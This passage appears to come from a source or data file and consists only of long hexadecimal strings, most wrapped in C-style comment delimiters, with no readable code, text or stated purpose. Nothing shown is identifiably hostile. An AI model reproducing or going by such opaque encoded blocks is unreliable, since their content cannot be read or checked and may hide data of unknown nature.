ed58e8e6b12218d73a869abf5ba279ddf0c36ccc80c3a7cb497909fd40e8d2b75c0435c226ca56c6c905032f7b1206dbf104373968fb3dc7885408b30d3aadbfe0d6842e1dbf3c401c76783fd927e9cd4a61005e6439d832261c6195c17b36ad49a0ae0dd4d5709850f191922d7535e605fb5c89b5935da02bec504c19292b7acbcffca5baebf71a4f5a248e6228bc70bfbb57cdc435a109963f50a6ef986b3712fc727feb962893ad0ba9f824af437156e9c333cff801790fccc9dcf846a6633429af51e40280b07f5b4969fc7f9ba5b83f67d48cb51c8153f13c56afdac911450bafff5d2253964574d030a30d97bb06ef6864b8988605ad0c783d2d09dcbf552e3515f8e77b2156afe7dbb9ba2f69ae8b50cd2f24c1f1c86ef9f3e228db047fc3330819da137c50bde19e430bec4d49e70b3d42181df58a82af9b81553d504a9e1ba6392d77ab9692c69c175f91ea5fa08b5b5cd17929032e930b46834345fa8749d61f755423d71da4a74cfb750faff512d20be5409b247b30d9ac04fc47c5218446c0ca787fbb4b96f2ccc89f6c605ff4b076e5f081512ea6c2c2c3ec0657d6a649e2469a1d7460b0c483a2be4d4999c3c80d112b7aa2f3a30b5208147649d9927c512a7cdb739d8f990e0a1a842d1f56ae18ce1af64a4fd67597aa5c736c2291dcdcf0b81ddd91c15087387a37e46ee817f99b8e48e31fb9b62ac3212732ae37634779c2026337dd4eca6b797558fe0f4e2a71fdd39cbdf832b1899f018d56b261f191e7d1a0fa0e9394578bcfe07be97353b13117a26f5b985a87fe12a337ce453cc66bd4d9ea4805f74e0f1e2fa424a32cc739e8632f19b3198bfab6d9ec003fc2d686530173a183bed27e3d4927bd82ea7db2da9c44bc5f74472fe3f44821aa1cbb065f7c4e06f9f7dd7940fbd1417976443d6f9ba096452cddb8b74f723d8099427c23a90b486bd8f4a2c0881322b74993b9b9db2440b39f158e391ec41f0e31e193f7dcfab0949b4aeb5a814168a4d70b4bbfb400ef549339e89938e4fee9f344c997c482daa89b82afcdb3408544c2fcbe686f23915eeaed3cf1740a2b3b4a4c4086af1bcb87f410c7b8f203ca788e3e29c73383e7ab8b4c2741be0912f43c0c41fc1e9327a375e2e53f53dfc3aa5e81f5c0d93b3ed239c4601614f0adfb3a9c300245dd2ecfddddfb13773b0270b2877de6e3a66527a834057434aae41210296aec84cb60e9c71fb959db89e24e3554135d32571e7f2ca50ca6e743f0c80eb2bda4d2d3fb8e17c3ed82e5ab6c16ff47b3180d16aef335a414790665e96b26775c62d298be9a68a1888b745990fd9d141525c35808b9d59bf3ef79656c5d4a7cd59a49c62d63d77ee1a98bf8af73e50dad8127e51ac3774276c679f50a609ad19d909aa7aaacdc331fad1a9c4ba2d02a3367eda939c9aaeeb8a5eb477c8c0398e3a697aec*/
/*68e493df22daca02c5b243c383b779517ccec3b2dd08dde1c283ec17149b77e035de7577cc3c459527b3cb4276b919de61a8966e9124463216ed9c53aa95971e11b8d38a57796e73cbb25acb7d1ab2cd058a456b1c6ab0d639d7c2d4c231d3a79ca644fe17ebacd94c7417749a1c69e993e2263eb8892c1719eda1c83d59a0255abd23997eef35c793c55129882d970eb15be037e4182f272d23dbc7a196969ad67aaeb61cb307462274bb0049bbf795ece7d620bf1fa9d6b30b11f1b7c5c0fb7ccf58310f50a1ab004f01dabf7586133912f85dac80c8be89a600511f986d59bc6616ad3273eb5dbcd97030cc700255962ac38998c7309ed3a2303efa8210e7b286613416eefd7a6f9fa21d33ad4acb33da130e00fb765bbd90a626357fe690dfce9924e276b39d17f4869d5709d1a1517a926c32473c049295579507d9af11f5f18bf02ab362aac7da463220fc0ccf1cfef49bafe41864c89093d1a7227ab6bc75d6299cc49f4765b7533e50bbd11ab8748568dd7b51a0e1f6bd30754fb0aeae2112514edb9032763920419977522a55d4978e3e5ca64844c34ff671a66c51d49a9c72555afa7986d5056391400c2a3b92a5330feba684220840a161d3db12c5da7e7d17c10742cfebe169e618ff0bf276d074add0a0a63ff4e92284f7d029dfca740d10bc51c79f5881fdc5f26322f34a95d17221848d8e4ca5154aa057bcec7595b0965fa71fa7fb793ac1b3ae5d5c96e5bffa873b4178ddcb7c4b60ee7acc9a0947dc6db09ccc07fd626cb88dfd7bafb8cc83cf6113b9efb1542003f588b6c320a3f0b3f349951cefbe0e8fc519d557391bed06b70183f51b2e4cf2eda265d229ff427f5a6ed3c65d0846bec895322fc4665258d2cad2a58539089249a433795d308d8b8f55ef56b90493858ea5b33825bf0fc5253338a35eb6b057e042316cf4533fc0c3cc64330c2e84718eb8a2f013eea5f78c19ebb2a04c5567ac5b49f5519aa3f6d5688a1bd7c7aa4edf716feff9518654767cf46264e9709aaba49779919ca03763546f761777a737476a373527eb20097a06115d91d0d1482c83404c4b4a2c3fc396fd89a3abff3c39fbfa52ac062369852d0aabd79bd695925c4fc5b6075a9e07a7b257c038fb082f450f198d71d1864feeddbeef69203f0e7a635749e52727f7ff93d182ad191baee89440395cd56b5d809d06a85eeb48cd91c75607a5d800223a24de0de4bf717d838dc412b1a21f7e69597ed07d5b0f010e4854dacb5e57ba01a200d3fbb9abb3a67cd3ed8b15170ec62571416de7905a123c69c4fd6c339c5789d5c4b2c3a00c81779cef882343bb09b4514be29e6c3e912f34f244337c0ae8b13c9804b89547a58c5a818935949ed4da54277e495f2c4f05a31dff56d95cb6a80f024022adaa612234b5c29572e26024a1815a7159b220591ff48790c6e1a98eb739c0a86ed8a42bd406396f11968bec4b83edd82b06eab43d28dc830a565922f6e522af9d8ce09bd4d72dd54dfb71a890ad434858c3fe28d48b4585ad76cc7f8a0df57942d261655c76954c0178063dc00dd086715c693492a866732145965a321e8efd585453e90f5d4e269636b66aeefdafdcdcf00c96a0624f0b6a7a550f144fb481192b50b92d61c24b4293db457f10422c94cd801430fbec544b5c6fcaabf653e6d86877812032a8526266eb9f5290c6d76131eb211456f444bead038d8d6ec0f93fe716cca8b4c3b515d0030b791c15ca3c717458cb52564c7c913819e43d9aaf35f8b0a9e0272478bc183c7918a9cd29eebe22349230a4c0c57e61b1f6c264d9a7323f207ed70207337b4c9f24dee4c3309b82619d3e19aa08f4ef375bfd6b0fc45a3da3cc40b4654e263f0f4ef812f50d7890a07f6d9326caebfd3e8ce6a0957e560809e6d79d5f3a94f8fe42dcbd5904961f6307a0776287eeb0f5a2f3e86e938412dff276eab6e1fc91b32f0a6ec77ebdbd0d8e0a05296e08aeba21355923a85b2284616c9236195e78c7a1aea78d7c017c3d31c3d1684104c13710e9630a17786bf92bb3c7120f2c59723e60c1fd543f17b47f763b9dd8c2449046cf34c69217b7099dd86534b6e965e432c07d77792db980dbc7fba8bc303148815d6bac60331b40a115f7d0315af849def888a19412bec0a7058607dd8c6ffdf92742f2cf7a801934c9e77f22f12ea6712d0609c90cbf70a588ce327730de879b190ced999221caad4d89e01cada2b0c70298708d8df2fe2e46ee70a4dd8f79a790bca47ca4ad7630b7521978cb0594f49f769d8128079640ba5140b6cdaf62dc11701af4bc726013c55bdba1bb5681c687a7df5e47fa9805283b785bc9a85027c2f9139001b8a1be2b283796e8a9d384dd98dac89df0fc7de07603c65f1ac093acc956edbfd19c42e93f53d5e8b5218456f6a8519833309e58f03816fe337ea76974ab5f00b829de98b22b36d5dbdea9bf95f369a6a2ed5e2b361e344680ffa0f6332b451a446c0e98cac2592e36cbfe971c6dfb6c74fe20d9d01c88a32574579e71caf28933daa999b9d462e7651020bd81e399e145a08d155542cd519930ca27bccfb75f0c7fcd53fc694724fc9f8d70c7ca4055491914e523d32ddb517615d20e6b6527c14e73cb5734a6c4d73815061935d625434012c1a238f86ebef1da78d4235f3c955f32d08390e059d672226b9cdf21b430e156fa468eca16b8db1e15434cb56c2701fe117e9f253b2318db1546c7c3f641e911ecaac9cfdfe67e82ccde9a2aada64b28122febeb17da782bec3ca8faf61e8672991726843f0757669969db8108c0*/
/*ea1c3cfb3d16e7ede33da5e3fa39a24f4551844c9a598e314b2569d67d8e4d503ba3f8cd98c1e79d6acc66a0b31274e3d685a7dcbe30993e6135851d8ae660dc6571d57f14cbe450713988dba2c428b8e5e0f81bb61d298e78b8d86122c346ce248eedfd2db28680fccb3503414f547f26f754030dde1009024c6b9d6d632036e68207d21ff983f29e84f2d3c0328645e0ff8a560b261d0b6483cf05931fbc5eb8b892308a79262cfd8471f0104c05ac0a167b1c0226e2471b0d065c0c848447d8cdac9c47588f68a53cafff1b24f2f4293542bbb192ac88b9c267a141f294345da047cb1af0d11185068e4da9ad166f9f976d81111177153aae605a6d9d5e6921b9bee6cb5bcb84ec1e39de5ceca9e432372b3e7611e8db17692ad20e407ba1333c32b60b71f26051bbefbc70a12aebf66fc8698ece6bb47fc0e9e3f97f7064040cc44e080757da875bd60150de3e36a29553205da930c65b2a70f4069feb99451d49299a78957c68ecefb4857dc36b94cc2018a4a244bd0664fe904a81390ae3b84080d5c5ebb8d10b0307417b39eef72b2b09ff0b7c043207385be59b2d3539c6116128e07fab4f9404284635ec2ff9bd73240966e174485a2fc80447b8114a39cf45a744269f981d581a02f39863db5eb05ecf89e3f703f017cc2dbeb01299be746670f02bcb9d574b7a809aaf7a24e0fbe2e52fed6a53cda4975fc13468718427866a28e5a0b4d9437581ecae84e4742d7be63575f9f521fb19ba183b152f320471223ffb7c5e2d24bd32213a4d99628a775d5187f95ccb648ac0a0116163ab6b6d140f09796bc0ae10912cfb5c10ab02e41402150a3acc874deea157faf2baa0e0a9b925a6108d8202768c4407b22807af85c28d2344c2013e5202aa9fcbe2b5330ff0c0b0d35797859c77839aeb36bfd454f4183f06e64e6228f132b91efd07d6c94646f8e9b7315941ddbfefda5869d2adfbe53dfbad8703cf461c2be1c3a53cedce4cc38b1fd840b3342205837ed4980166df954ed4beab2ac814b2fd2d02a45fa717b494adf085b65775c6cb1f089c22d71faed6acd681a4503d98417ea95aa9ba26ce77d81c896e3428cc8beda6b1d6507a02c945f6b7235fcf63eea852c59b4d72ee664c17ad7c0cbc46bf6b4432c4945aa6abd96b2a7e04d496e2aba3ea1290f8c36afc82f362f913126f22ea0e58c7dfdea920d183cc29f166b5b79f15382b7e4471bde745e1f8e1e7b468747dd7d1c937141e648f208035fb57573492fc77232e15de32365d9fda428044d5fefef72d4c09faf4c2d1e219a186a18f2f6b9e4a46efacc5530614c0d6ed0c4e339f91e2dd3965ec03b033a4f4727662a9db87c43d17d54d24c67e1f4e770df6e6cd505a498af1d27cf1c77c620a497e5e9523fec41cc32ad52dc48174faca6ebfde3dee15baa1ca07d6646fd111305b134ba313c28dcf41ec6115524d5994dacadc3c01e75e14d00053977747aa40e713a7aae8ce7444ae0ed544d07c04cfe1b821773a6bde59aba8193664c90d3ca4c06bde1a27368e12d8deb9ca2affda02ae36632ba84b623132889e8f8fbbafb288fc5708f477a9e4fad22723d1d2771471a80a43f7c06619486c59c12284a13366485268e1cfdc6eb6d3b2f46d8d181dea6368c1341c51af923e0825a1f6b62b18f64c148fab6cf2c69f8b559b1d7d4137e01ccb3b80aaa0c6286b82ea8d19463a12a95910af16f6bbf95f4ead6f2420f2c80e711af61bb1f0ab9a6914e4c1389ab67bd47f770a14a9bd137e25a8e7cf1592db33698c94c95dc289b245bf6220bdcaf8e7d48c56b6745dc9ff93e6aef0d409f14ef7d6adab26f5d57b6a46e86cfe470a2003fd46afd5c69b8fca604ea63d7ac46a7f9d374bbdc0b93a7b6f1a111b4442968a12dc1c11887783694faf3a32f89516eeb90ce58571a5553ce2492d22266329b1275ce2bfdc26d48c8b429c8b63ad1d86a849a1d8ea3f004e0104d8f7e3090b6e44b0c9da0a238d4897beb73ccac211f732b2e909230dad4f09aae79489560d5ea239467fef4f8d4fddd5bc2ef9d203bd1c63a2087f66c9c84cb506c4005334686598e7a4ebe3bd64b29bcdde1da19d0e3dc7fec2c1825431fba5668425359089465053e984c34de8d253cf4d3ed71657c0259a1717e036e8bfdbd97ed22f23d1d0f01063392b2989e3f87f23c5d949fe86dcaddece6b35f1f177f7e82a3938fb1284f87a93ab1769fbf42832f4ab127dddd8bc38713aa472a9ef8874e1d1832ab07d6c71fb0e5392f276e5ca1bcf794031ff9f35698ac4ed429a34338a346bd1535d6bdbb71ea63e1ff8dd2b6a73b854718f3dfa2d935c1e5b565007287f0da3ed997453812eb27d15488741d4daebe331087b8fd6060accb659621f289f8fc92cfd8f8148d347aac85decece3f6bcc39a5bfe8fd581c1bc0a07cbe0e7b0f3931b04aa54355b399e8bcde3d2792f696d1e82819e64e8df3eeb392e4e8af6f6f3057935a20872024fbba8c808ca1e387425330df393758063c89287a43cca8db8eac39fefee268a7fc43d8e62cb9b0efd386fbc25c23f4816d3360bb32bc2dc59bf14f37c837830d40a0faab2c71b9bd75fdc86b0cd5ed187c5bdaddbcfd38b745a155e21667f3f45a3eeb1419726334c53744be3323c955b42f118942e1fb71293eec1ee4de865180d51d9e1bdfa9c623590a00b8b5ada69d0ef081982774d3b25311ced1a5784d443de088de957158e44a0a6b18692504b2dc42f78ec65522ff5b054e383215f1d7d736048178b25fad8286f309948c11570b0b47e81f4d5cb6fc398d8c808c024*/
/*46ecb611189adf180500e365af8b8fb6f1c739c2a9b2e8012c19458a9268fe39e1648f42c4481c30a7548740a46a354ac559a220b54e5a1bd62173267a6a025a415d94f49690f9d41e60bfc0883bf73b4eff8fbb42bd3c2988ece2b1624a5085853d395c5c2dc0995ec09b1e17ab7af3d943adbbc89aaee818a4356bc5535b56231bfbddf60be10854d70ff691ef4e1d0aac3f166cdaf08929894ca781168b686faa235aeb4ecca8e56d7ae5b83806947ce1a8afe757eef4df26ad216ee60cd0c0c7f07cfe38dfd96cb657cec988dd5a9cf5ed2fa0c6863e3a7be054702843cbcfceae1e847fc83acb6314b755c16337ba0d6de8a10a4cee2f7ae6a5f7262cbb6dad5b3e2027b03f246cb62fb86097745c5cd128d3ba48a0be61e0ded0ae7d47f0d952dfc3ec17b6b8060ff2b4f1574898e6601def47a86c2d42f6b5feb2c6648e00a0ee23c133f38793237875f877184dfe2dc8468fee87d5c92b0e6eacd83fe7ab69d7c2e5e2e063808192f1686ab8def2b52515fc8cf22182857890f71a83003cf4de907b4e2b5266ddaab33477b6a9886450f684d0e115cdf344f29808f12c4955fafadaa24c2e37ec2612133028e9f8bb0ff475a305ceeab49c3d31a480ff6cbb9bc400056efe4c147254a3ed8768a4ed90c8f784d6a7419026daf953fcf439ecbc2242872ec6b959fe9f62d5313cf466d64817f0873bdf144cc9a776cc966b6d461a68b82fd69876470cf1f1862dd82c57a37a12894f9cb97b31bbcadab3acdae047dc12b52458cedcbd3af0653e7ea49f0e42cb008991664c1f8d5c4e1c41ff49c9fc45bd6e8e68a59c2aa02f580c4c632b2b70c06e42206ba19ec9994dbe6fefceaa701e88d2b2cc3c062c2d821c44e4286a304a28c65023e16fa108ae0115f1eba4ac8ab5cf32f481218be7de354fdfa6a1cc990a9afbd23e6d5ea3e26527b4a0e7299c3284f0635fe229512c627de1d282fb19225ef56b1a7cb6f853f7f29b4ca6131e8edcc2957de35bdd462d57ede96d588bb7390a35c450d84e2dad4bbceeaf82ab11400ee9df338203c5944c7e15817ce40ce1e4cbab01084b98e15c1a6e39ec79d137210fbf4c565b8eeca32231fc06d99ab91f8ff11003d03191e56f72573b0537d6830b3ab3666dcf71ec5fb344aa38db7aba202f03eade8733628aa7dd507250209b43266921026da406edda98ba8f0b71507e3985fb3e9d826e6fb9a0cfa519ed398c5a76bc5793480a903853ac1c7e892d36d405acac6b41f21780289ba491e912735cd2570b8e1edbcca2b056d48c8c18dbf8d7b37b11d155b0ed5bb3268cb011b314cabbba9036883be807a98d898669294b0de1bcb683bac178b9835a177c99330947d2162566f4bab448433f9c6c6d2319c66e34807fa5ba203d3fc900742c8f014df45f4a376665c5322e56ce00c0f57dec14e7deb13d7b590791498ab3a2715b5e2d412ba416c1d1e85da8f13137912ab09f3f8f7283b2a0937a39fa1223dbc2642cadfea816eaff4869faabd4124a646f7d3c318981e9dad1f4a1ee4cea7ebaa40eeb5583978bcbe107187da4f65059b16f4b9099bea8c08d95a277c3f68f2a6623266c8e44e1726b0a1927c13bdaa031d52df6f3d95da73ed90fe7fef052162a6248e2c470d42b1162907ae5d83a9a4b4a34bee57a2bcd5eb6afd50e014b80ed8524b1c566c36e52271356959bca342b097221bede821c1908d8a3ade21d9954b89e209b85f957cb50850376d7f7b19defe922ecc2702438be19148c40ab307055ffbfcec032d408542a525eacbac3b078a80aaaef7b36cd7c3369976a435f6cc929045c4e1a0644f7d690cbb7866ed5867a5e4a596c153c6d0349ee8425d3785a572c3b47c9c3d9b5bed01844bcfe0964939ae3733481fd0e5abd53532db0d07a39c8eac05330ea0d873b07ce8a0c84ffadf0d4d2579e077ddfbd00e648498956b2ef2ecabef658b62feddf6c850a29008a7d4ff7fb7fdeb41c6320ca5d87f6a06f25666f1eb0dfb647e0140fa19c95bc7d0b0fde7adb9cb13341c4689df080c3d026f91650802fd2428440405a8b17f9de3f81e833a4c2114c471520cdab960ab3fdf4a1287708782367e7199aab348509435a907e9fa7b75fcb93da44cf47f6f92e43f5f89d2058aff0dc9a0d57474156d69b2701b9407220066836cc0af52dc29304a828a64dbc121fee9807dd7649a528bd9f236bc8c0ad720606b8b46d843166d1eb7795bb40c991cc7613b6ac6f71a925d2c718e2fdde618870462c507369cb3b6fae4c06e224f0ff808a8d8ddb91413fc00424d11b74132dcc76677c8114584cb82d9cd27baf1dddfc56c06b61563d9a9d43f3ad230b7b5ea9cf33a5e4bde7a89e722326d0a77edc171f7fb9004cfcbfc69b22a42d5628819ec31019963754b8d55359b6f56b2a1bec5d261c2dfe5c19fc4d57fef8381fad774b18d79cbf2a243d0df86c9d05cd01d86bb39eca899284b25671663c2d9a25655899079e6aba74768d32150e35ec16361dd982938b5eb4486133c6ba2f7b9070e34a554c6f47767841a304de76a45fafae97efeecff86f06c469f4337eb9e39584791b6223e4cb928cae0e98a7751cb71ce8b4def25c79480f1793ec6c8ad2b85618cdd734aa158a9e1dec52b99a5f9f06957aa1b6abef2b75c0752b35a883f7ea46446e1ff8328e8f1b01f99123c6d4de620849b7fd33f82526a522a8749841f702db741281b0846ca71c42f056b0fdd6a4cd15026074a1d770cef92ec3c34385caeaa232f2d044ea950216e37200756e410a55b45a5d8b688ccc63e44516fa92ee8185be*/
/*05d2c228c4482225d89728626534b0d4e30213884698ab7d1a7fd66a5f18c6693c7a7b45358ea7fc23dec6659d8f115acbba91ebd3e9c5762776ad0665515428a4521b34c56f43d17070c6dd1db6dbc1d8767b205fcb6bee083dbbbbd9d8cf5bec46b7ca8e105c5dca78e2718f990cb79e74d220ab24a69c85ea59f4f6f8993c87f3b63c3a103c7e147763a9b8be16dbaf1852bcd3ace76a4041218ef78249af639541c989009ec22eb78f1ee3ec1f09de564d3926efe1582a792049520199cfb8790adf19b9e0b79e56d2b3c7819465652ee994cfe77851b397abd78463de7ba73306d64e648ae30a0afb1b813b23c9ad5854694b9a4c1fef1a0d32ced91d7ec50572d2bde0cc47b4b839d1832cfc20e8f248a7cd94897b7ae78937855184c011bb36e5e234cbb3235dbefeebef174b8f81a1bc0973444f8a4dc8d550c9cdf539aba084e78c8d7d2c5fcc6d6582d1f38008aea1551474e6c34bc186a17c8a18cf474dfc08e29cdf9e388710ae315089f67ade4f0f4d2f890291ce3db25b781e3e373b2df46a479995495e4165626ff78cf3aebda32ce71175d9ce0387efc3463af07c034b487e227d3b9a77fbadf657e7e7aad532512da31ec82dd10947f264e20333507440f5d93957013018570b3a5d082f1aac5eed6683089ac7d4636aa3b69524b6ca586ab8c15fba417139370523dee83cc017a9c5d071a87a0c8aa7bed2d2f886f6e4d03c509e562d0ddeda5ee276b0e8419a16fee7ac80a7b13ab59fbdbd1a2b57e27e6ef90d04ad6e4459efddd33aa28f47c3d12d12e5ba92fbf18b14e740091397be4fbeb8484dc98c518a7f838927bb791458b5a2fe7fbd1ce2852d8d15cdf9de3aa18ab0e4a932fb8e577013bc710919b610e70838d7f8d29d48f53947ba6c7d460f2228dc8fceaa35fbeb5882ad799183587dc638fba28c413346888f95ac1ffc23b28ca2f1edaf97fb9b48559b62fcdcc5ab19b8775fe621f1322144cc8b7e5716c45e8e5a22241df85948b549a98e8f0809ce705576e46be1e389dea80337877a8badb2add2520a475a8a5ef8392f3736ce5eaf80eee7c31dd3037d7a9c83a9c3cdc67eedf3e63a606005647102f20a45361376f24a54f081e5b7f6e23e3b328aedd9c9941f71da13ac648742109b00bd386dbb3a3b2607f126ec5c3c2f1e189bb1a0dd61c280aa5bbd02ce0e7467a3862c1b3052f102ac9f9d1775db5cb6a17f1b7642c3fbe780f3c19fde6133c7c363499734e57405728d19d3ee076a7bb67683a51fa7528a39c7c1545be12025b0581fa8ad06bd5a39d6bed1b2cfe9b271b761f88d84fb26b266c5ac0fe14825861652a07562cbacd2e620c419e582ac4f9934798b7f7578da0ee2072682ae86f7de49c56b88b16975c4b175eef1f1d893ba3815b56862c3e442adea07123cc096328a5fb2dda81de1e2ebe23b8ce1eefae35a169e17ab71c67103e1386cab5445f420bcda25ce7ee4c79c22755464c3b039d3590c00905d6b4783060e12044f6571e2aebe12f0800de671c8cc20bee53b995eee6123a3bc54340b1bb23494de927e6666caba776a8bfdf032c0d5ff4e09b4018babbd64d4ea88b658b7a11913cfdc71eda6a246203eac46482380779884a68eb55103373c24b33550742f53d8ab60892960bac004450cb0879f6595505d0e1f468c46b1951111b78c574cde588e2a326957e4d7e4436d20efdb4550aaf9ffea65b366b22c08e7d293b4ac35c3190e1982931e638b84870dc2f78ccaa03d04a154adfcb50e2760d8410c459b9d8afcabbb7cb557402815699498e76bfcf668a3ecf5a0e715b9f7ec37df1332e7acac9572bed498d3922f5f23b14b98ff2f1dfd4c94c2f7b145416eda6b81a94915d97884e508859744a72b27a4024897b7f81034c4327c774781d17ea3685606ac81395e18379535bd3aa4770ff7b8367623e9b8ecc93142122a99c7283c377dee1b00164aafadc57004f7966afb122400d5807800637450eed03c12e19a5cb0bef7c042fc34806c83246afd1420b66c36ed3056ebfc63513c53d3586ac79e6203bb831ca59d81fee9f9f7c62af545828776b40e2d0f6d1224db2897ad1be53972d45f468fd33aab61f5b2477c42f1eff9b4604c7118239ce0e41e02eaa54c3e7ad2b66a11caf6e919b0d493f4d4c69ab00a756cf6b67d9d71d180ff02d66ed7bb848c2563b59b0bac04f63ed48c05b4f6363f17169221878da0256ee3ce25bb4008e215fab42202487185578320655bcb3891603cc2ba274a61dc774bca15888908680f3df8bf0c94db2b9e8258fd3826310145d2f0f4896f8c7d5d63d465b851d3b41d1bcd9defa95a2bd86d3bc07cca2fb9cca3bda2458819335888d3e1b8cd29229389a46614624127dbc2ddbb0fe784cd4cc9a3aed241794182d7ccf953f778326606be5bbd41dd822c042c741f4da57db9e966dab7ff4d598407814787948f7f28b5c283b40a085c1dea448fe3bdb3b101eeb1ed659e5430e87980f3054559f0b2f16e29a3d1aa0ebc092c5f55330928f86cdcae26b3d2d8fd3d53d1e6af4a271243d2065bb046744be4f954baff8cb438e9cbcbc4cf0aade26499d844815b1c99df1b525eb80c7e673df6c287f9609bb8d6c3af0cddec5b5fa400be48f0a7605cef35eeebec0e1ea7a76c7032ce9942682bc8ab3a196363332ba73a4c46b360df8e989c71a2a728eb25a207903e3d2cdaaa60785786764931c2207bdf5b3f0899d01796b1ebe29e1a68c053e1063aeed89402493fb1feb3c1ae210919e383d7ef690693c6139b95f95add0b1c556825ac920ca27accd2*/
/*5d334028d41ff5059428b272d511f883e4cf30a75877622910d3a674e2c85bb7c3fddceee5fd1eb79d353147df6ffe36d8c8a8fc7c6cfd504eca80cf871b297bbced153e5b4416c16558adb2d43b4906c5eaffb49065863c3b92cc182a5655d1d44a2ca5cc03fd061fda4e83fdd338eae1c047a49b0c18b7aaf0571739137ef974be2ad46a9cd597f5f661a5e55d3cd83f718cdf6d71ae408ea15c18fc3fd405f1b3d96cc3f92d0d17ae50aa56a5e2f5078c589ac6bc289ad8cc77879788272f383038dbdc50b59ac960a6bf6c28b74ef40fd5520d7c897ae80df4137094051ef90e29f1f87b26dec808303d2c18a027f9e01cf352103a51b2b6bf61f084502f06028632fc5f41fdf1f2879fa1d6f11d5724270616e9af21e3bb07cffbd7c9b27ace79f95efc457d7d5c43717fb784238eb2ecea186d59128740cfca6f8b4be226cc0b72c00c8c310bceb606c830fa24490d1f01c3c2f5c1edeb0de628e9a079aeff824e1b97f92db9beb7c1b74ddc51a3b4499bf3580c5d8056cf714e9f21dccd2049ebfd4c0f5e5402c4406e720d557ee6bcc545c97001bba595752e2e3e66c9f311d0b0d7e5f8864b5849c96fa7bcd8ecd190f4d14bbec4e2d6e3d91c1e171775b80b00e3e730a7fe93fee53c947d1e7b421614fa29dc56cb6f95f1f017fb88dfc2dfb15de796c918a76d0a2b61ce4088f1effd84dcd640173d8fc54ac2ba152a7edb686cd81404b739a5d2f6ec1a863c07bea52c108c7d52048b90e52b539825764fd4a867f8c4e52ec46c7038d36806c979d924c94c5ddbf185ea991709e1d11d6a49019be12a6e79af6b7eecf8ab650c5f74464296eba34306dbed278e6607137f0f4b6a844bf9d0604e14c9471511d78b8bc062a51c165a24165b09870bf351dcb22471e4df78566477a463be69fce07edbeb700c1653ed80ab94d27b15f82cc8b8b4bb67bca341ff8cfa72c70b45fcb6f1c57047421d1c5e6f4a30e4246192c91128341589c57d8115a9ac1d1dbe322a49019cafd21b6118520f77936167a83befa9af32ea5407cd6780d5607d7f58be92510146714b27e636b395e08c379b434f15b9fdcf08713de4cc7abc67d3cf133c5b1411be9bc8960b88aed170e4bbfcd1221e2e65f2bcb9fb73b32f889cde2fea27497d2d01d033cf518c1c6841716642e5aef2a00cb9019c498ba6a6cd531e6d9fbcf86a092853e8edb8d00ca34c095b6d808355114fc87d1f57bdc997fcdfdd2bfc65c0acde53ff24b0292c892ee59f20ed9bc7bec32009811622c7d213897d8f5bff62ba55b1e3594483e2b9ca658040588bcc9fb79db3f89157b8903787e69ac5a82cd3b1ef8e0afd1162d6c5daa599ee0acb47fea8996d325e2941902b8ca7c80208030cb3cd1a99e3b7ea3988e6c4809497263dc9600fddfd252008921e7cccd36a691b37b7ef35a3a69f6300f3a44fa0f61bdc1bd38c926590d75b07bae27307ca139f80a4aea1c9aa406eac00a508b298b6281a0e79a236281f86e4381eae00a091a465ba9e57c8b84bf9ef024c5217ef776c7b0917f72f24db3c8fe05338e92c426fe502e7ec1c80d79c83a114657ee9bd188a882c7153121d19247459e1ac8b24f6c740620606ae142e6f7d3b48dff533b99166e22b09d16b43b0bb7e1a79da5eade675d11d7eea062793c461489d52caa11d985614365ac7b2ac9f443ced5c1ab3bdcd809e757114a855dcd095de9c96f82ac70eeed526dcd9b2872752d07a991e75bbbd6919b81fb2a29791a8908c8a84ec043d76962a6c568c5626058f969f6e3ca2f8dc62bba3569604a3b0d11cd926d4984917fdc41e88435e129ba957d9dab9c1e1a08c494347f160e41044f00bc05e94c7e29b0c2dc0d6c30521c34bc779901c4d01520ace9a51bbe0d0c5c73e1c2dcabde0a930354c2313ddc842d32e41abe4a5567794d5d3cff3e97b2f6e0c716424b61df7adfc0e6d590e07b678395a8db664d3e6271c266bae3b6a7068554ec946af8ab1af0e17a53cf361daadcef35eac7367cae502f9f1acb5ee3997444179a5bdafdb62366a5841580820ed697c8883889003441e3dd5109c19cc5ab1138c801f218fdbc1cf7c9a864cd9c25f5fb1bcb2c50d9654f0b56478873c0e5bb30139645530584526298a134efcaa9faa3628f1629fc256fb7c4cf8ace299a0e35532ff54837bce5236bf7eaf96c0f1aee6565f6fa29e33b53fb3e36c238dc593d0cfabbc86a30916416fda0f1f1a5c6b7d8a55b4e7bf25f2c6a4027424f45e0e33b787ab2ad610a716892c796077fd65a88e44dfbab349fa8c68e777fb1505d5aa53fdcfaf4c78435ea78556b2622d0191a235a9b8e9f665d0dc48d32eca6dc4f76ba6ea04530973391a0ecb925c58264a731129fc3a0fdc990b55c3d67eb69abf19cb0fbf891bda43b8fc7c431c044cbf4445c4a354cbc3ff33d0d629f5820b4a1d6cb7c180e1e36f68bc144402db9027dc68be7518951b83c9d4fb86f3f6b357f8c55cbe55c4cb26bae6ee13c0e35db52ef6c0e4c5cf2a83fb4090d644e142db665ae38cc3ce6da2ded90f675f197a0ecbfdc9160e7d22cc388bff2ec9517964eb90ad72a30bcc3cd6eb6e5d4b07f5d810b2d3a501c500985bfa5c17c9c7b420a63acdf771fa2236195f008f046e1eeb535dab421c96646d6da7b8f69039d2d6d08bf21d47453c8324aa9094ce3cc97773977319025faca5808c89eb2d185a9b552be52cb137a08d0099854a5127d56781b9113fc30adadb4fcbdf193574b8f8769224eee657ed40a34c477a3d175e00bbbb4fb0e62cc7d7ed069b8728a709d5d9b56665*/
/*02f5168e90337584c60ded6c92ae3ab49beddafe71dc969c672342918125050d41156bb7c70d1c64666defc424a41e5d3f26e5c5f7887fc41abe0e712b82f80ca6f62a46e5d135f9f1ddc661cfccd754b3633bb361ccc6cb6f676dc70fcb74130469c5f28964d7cdc37e773ec081400275f4ff8456e24d54b965791c61eb5260e8b3ef33e062034ddffb8cb427f4460a78d83d28e3e630755c5860d596a097d1e8104eedaaffc92b51f4037ca3fbb3d66fafa04f73c76e0e6f7aecb349f1fbd4d6d2b669375a0a1e7a315c1c95e08dee7d4e6399b762925c779a5c1a5117ef51ca3f8619b76f0d66a056a3b4fa4a22decb943cf36cf1a106a05fc686d037e52a54200a9832a99d862bdb7658cb6c242e31d2439ef3aec9506f13ab4d5854a25b001f9ff10692337c08ccd5d1c852a86e5ceb112872910cb18cea08aa2384e5fa68e52e3d29482b6a19ddb27d22b4295d7c3ffc4d62328a1f3fb0620af769d5237e56094804b27928278b94d8a5e3d91fe76e6a2931dde80243fc9c6ceda90fd5913ff2886581d05eb036c75c64b405b8122a87a37169e50825ad06665145d77e0858c8ac4cfc9b43bcc